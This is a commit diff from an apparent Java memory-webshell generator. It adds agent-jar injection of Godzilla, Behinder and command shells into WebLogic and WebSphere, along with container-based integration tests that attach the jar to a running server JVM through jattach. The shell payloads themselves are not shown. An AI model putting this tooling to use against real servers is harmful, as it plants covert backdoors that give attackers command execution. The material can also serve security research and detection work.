mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support was and weblogic agent shell
This commit is contained in:
@@ -10,7 +10,6 @@ allprojects {
|
||||
|
||||
idea {
|
||||
module {
|
||||
excludeDirs -= file('build')
|
||||
excludeDirs += file('src')
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.WebLogicShell;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
@@ -10,6 +12,8 @@ import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -19,9 +23,9 @@ public class GeneratorMain {
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Apusic)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(Constants.SERVLET)
|
||||
.server(Server.Jetty)
|
||||
.shellTool(ShellTool.Command)
|
||||
.shellType(JettyShell.AGENT_HANDLER)
|
||||
.targetJreVersion(Opcodes.V1_6)
|
||||
.debug(true)
|
||||
.build();
|
||||
@@ -39,12 +43,12 @@ public class GeneratorMain {
|
||||
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig);
|
||||
if (generateResult != null) {
|
||||
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
System.out.println(Packer.INSTANCE.Deserialize.getPacker().pack(generateResult));
|
||||
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
@@ -10,12 +11,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
@@ -45,8 +46,8 @@ public class TomcatShell extends AbstractShell {
|
||||
Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
|
||||
Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
|
||||
Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
|
||||
Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class))
|
||||
);
|
||||
}
|
||||
@@ -62,8 +63,8 @@ public class TomcatShell extends AbstractShell {
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
||||
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -78,8 +79,8 @@ public class TomcatShell extends AbstractShell {
|
||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
||||
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -12,6 +15,7 @@ import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletStubAgentInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
@@ -23,12 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class WebLogicShell extends AbstractShell {
|
||||
public static final String AGENT_SERVLET_STUB = AGENT + "ServletStub";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
|
||||
FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
|
||||
LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class),
|
||||
AGENT_SERVLET_STUB, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -37,7 +44,8 @@ public class WebLogicShell extends AbstractShell {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
|
||||
FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
|
||||
LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class),
|
||||
AGENT_SERVLET_STUB, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -46,7 +54,8 @@ public class WebLogicShell extends AbstractShell {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
|
||||
FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
|
||||
LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class),
|
||||
AGENT_SERVLET_STUB, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -9,6 +12,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
|
||||
@@ -23,12 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class WebSphereShell extends AbstractShell {
|
||||
public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class),
|
||||
FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)
|
||||
LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class),
|
||||
AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -37,7 +44,8 @@ public class WebSphereShell extends AbstractShell {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class),
|
||||
FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
|
||||
LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class),
|
||||
AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -46,7 +54,8 @@ public class WebSphereShell extends AbstractShell {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
|
||||
FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
|
||||
LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class),
|
||||
AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
services:
|
||||
weblogic12214:
|
||||
image: reajason/weblogic:12.2.1.4
|
||||
container_name: weblogic12214
|
||||
ports:
|
||||
- "7001:7001"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/u01/oracle/user_projects/domains/domain1/autodeploy/app.war
|
||||
Executable
+12
@@ -0,0 +1,12 @@
|
||||
#!/bin/bash
|
||||
pid=""
|
||||
|
||||
if command -v ps &> /dev/null; then
|
||||
pid=$(ps -ef | grep weblogic | grep -v grep | awk '{print $2}')
|
||||
fi
|
||||
|
||||
if [ -z "$pid" ]; then
|
||||
pid=$(jps 2>/dev/null | grep " Server" | awk '{print $1}')
|
||||
fi
|
||||
|
||||
echo "$pid" | tr -d '\n'
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
ps -ef | grep WSLauncher | grep -v grep | awk '{print $2}' | tr -d '\n'
|
||||
@@ -24,6 +24,8 @@ public class ContainerTool {
|
||||
|
||||
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux"));
|
||||
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
|
||||
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
|
||||
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
|
||||
+10
-3
@@ -16,7 +16,10 @@ import org.testcontainers.utility.MountableFile;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -51,11 +54,15 @@ public class ShellAssertionTool {
|
||||
Path tempJar = Files.createTempFile("temp", "jar");
|
||||
Files.write(tempJar, bytes);
|
||||
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||
container.copyFileToContainer(MountableFile.forHostPath(tempJar), jarPath);
|
||||
container.copyFileToContainer(MountableFile.forHostPath(tempJar, 644), jarPath);
|
||||
FileUtils.deleteQuietly(tempJar.toFile());
|
||||
String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
||||
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
|
||||
String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
|
||||
assertTrue(stdout.contains("JVM response code = 0"));
|
||||
assertThat(stdout, anyOf(
|
||||
containsString("ATTACH_ACK"),
|
||||
containsString("JVM response code = 0")
|
||||
));
|
||||
} else {
|
||||
content = packer.getPacker().pack(generateResult);
|
||||
assertInjectIsOk(url, shellType, shellTool, content, packer, container);
|
||||
|
||||
+11
-3
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.integration.weblogic;
|
||||
|
||||
import com.reajason.javaweb.memshell.WebLogicShell;
|
||||
import com.reajason.javaweb.memshell.WebSphereShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,7 +19,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
@@ -32,6 +34,8 @@ public class WebLogic1036ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(7001);
|
||||
|
||||
@@ -45,19 +49,23 @@ public class WebLogic1036ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
|
||||
+9
-3
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.weblogic;
|
||||
|
||||
import com.reajason.javaweb.memshell.WebLogicShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,7 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -34,6 +35,8 @@ public class WebLogic12214ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(7001);
|
||||
|
||||
@@ -47,7 +50,10 @@ public class WebLogic12214ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -60,7 +66,7 @@ public class WebLogic12214ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
|
||||
+9
-3
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.weblogic;
|
||||
|
||||
import com.reajason.javaweb.memshell.WebLogicShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,7 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -34,6 +35,8 @@ public class WebLogic14110ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(7001);
|
||||
|
||||
@@ -47,7 +50,10 @@ public class WebLogic14110ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -60,7 +66,7 @@ public class WebLogic14110ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
|
||||
+10
-3
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.websphere;
|
||||
|
||||
import com.reajason.javaweb.memshell.WebSphereShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -19,7 +20,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.time.Duration;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,6 +37,8 @@ public class WebSphere855ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
@@ -50,7 +53,11 @@ public class WebSphere855ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
@@ -64,7 +71,7 @@ public class WebSphere855ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
|
||||
+9
-3
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.websphere;
|
||||
|
||||
import com.reajason.javaweb.memshell.WebSphereShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -19,7 +20,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.time.Duration;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
